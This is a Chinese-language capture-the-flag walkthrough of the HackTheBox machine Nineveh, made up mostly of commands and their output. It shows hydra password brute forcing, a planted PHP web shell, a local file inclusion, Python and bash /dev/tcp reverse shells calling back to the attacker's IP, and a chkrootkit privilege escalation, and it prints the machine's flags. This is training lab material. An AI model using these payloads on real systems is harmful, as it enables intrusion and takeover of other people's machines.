信息收集

$ nmap -p- 10.10.10.43 --min-rate 1000 -sV -sC

PORT    STATE SERVICE    VERSION
80/tcp  open  tcpwrapped
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  tcpwrapped
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request

phpLiteAdmin

$ gobuster dir -u 'https://10.10.10.43' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -b 403,404 -x php,txt,html -k

https://10.10.10.43/db/

$ hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true&Login=Login:Incorrect password."

username:admin
password:password123

https://www.exploit-db.com/exploits/24044

1.创建rev.php表:

2.创建字段:

https://10.10.10.43/db/index.php?switchdb=%2Fvar%2Ftmp%2Frev

3.输入字段的名称，并确保将类型设置为 TEXT，然后在默认值中输入以下 PHP 代码:

<?php system($_GET[1]);?>

LFI

$ gobuster dir -u 'http://10.10.10.43/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 403,404 -x php,txt,html

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password\!"

username:admin
password:1q2w3e4r5t

http://10.10.10.43/department/manage.php

https://github.com/MartinxMax/pany

$ python3 pany.py -u 'http://10.10.10.43/department/manage.php?notes=/ninevehNotes/*' --cookie "PHPSESSID=o9gl3hqas474agdtlemcgscn50;"

+-------------------+-------+-------+----------------------+-------------------+
| User              |   UID |   GID | Home                 | Shell             |
+===================+=======+=======+======================+===================+
|      root         |     0 |     0 | /root                | /bin/bash         |
+-------------------+-------+-------+----------------------+-------------------+
| daemon            |     1 |     1 | /usr/sbin            | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| bin               |     2 |     2 | /bin                 | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| sys               |     3 |     3 | /dev                 | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| games             |     5 |    60 | /usr/games           | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| man               |     6 |    12 | /var/cache/man       | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| lp                |     7 |     7 | /var/spool/lpd       | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| mail              |     8 |     8 | /var/mail            | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| news              |     9 |     9 | /var/spool/news      | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| uucp              |    10 |    10 | /var/spool/uucp      | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| proxy             |    13 |    13 | /bin                 | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| www-data          |    33 |    33 | /var/www             | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| backup            |    34 |    34 | /var/backups         | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| list              |    38 |    38 | /var/list            | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| irc               |    39 |    39 | /var/run/ircd        | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| gnats             |    41 |    41 | /var/lib/gnats       | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| nobody            | 65534 | 65534 | /nonexistent         | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+
| systemd-timesync  |   100 |   102 | /run/systemd         | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| systemd-network   |   101 |   103 | /run/systemd/netif   | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| systemd-resolve   |   102 |   104 | /run/systemd/resolve | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| systemd-bus-proxy |   103 |   105 | /run/systemd         | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| syslog            |   104 |   108 | /home/syslog         | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| _apt              |   105 | 65534 | /nonexistent         | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| lxd               |   106 | 65534 | /var/lib/lxd/        | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| mysql             |   107 |   111 | /nonexistent         | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| messagebus        |   108 |   112 | /var/run/dbus        | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| uuidd             |   109 |   113 | /run/uuidd           | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| dnsmasq           |   110 | 65534 | /var/lib/misc        | /bin/false        |
+-------------------+-------+-------+----------------------+-------------------+
| sshd              |   111 | 65534 | /var/run/sshd        | /usr/sbin/nologin |
+-------------------+-------+-------+----------------------+-------------------+

$ curl 'http://10.10.10.43/department/manage.php?notes=/ninevehNotes/../../../var/tmp/rev.php&1=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.16.24%22%2C10034%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27' --cookie "PHPSESSID=o9gl3hqas474agdtlemcgscn50;"

www-data to amrois

Ports Knocking

$ cat /etc/knockd.conf

$ knock 10.10.10.43 571 290 911 -d 300 -v

$ strings /var/www/ssl/secure_notes/nineveh.png

$ ssh -i id_rsa [email protected]

User.txt

56e41c6deea1a000bba08a2bd96c364c

权限提升

TRP00F 自动化权限提升

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10035 --http 9999

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y

chkrootkit 权限提升

$ echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.24/10035 0>&1'">/tmp/update

$ chmod 777 /tmp/update

Root.txt

508ffee94c9c1c12a1ec833ae97b93bb

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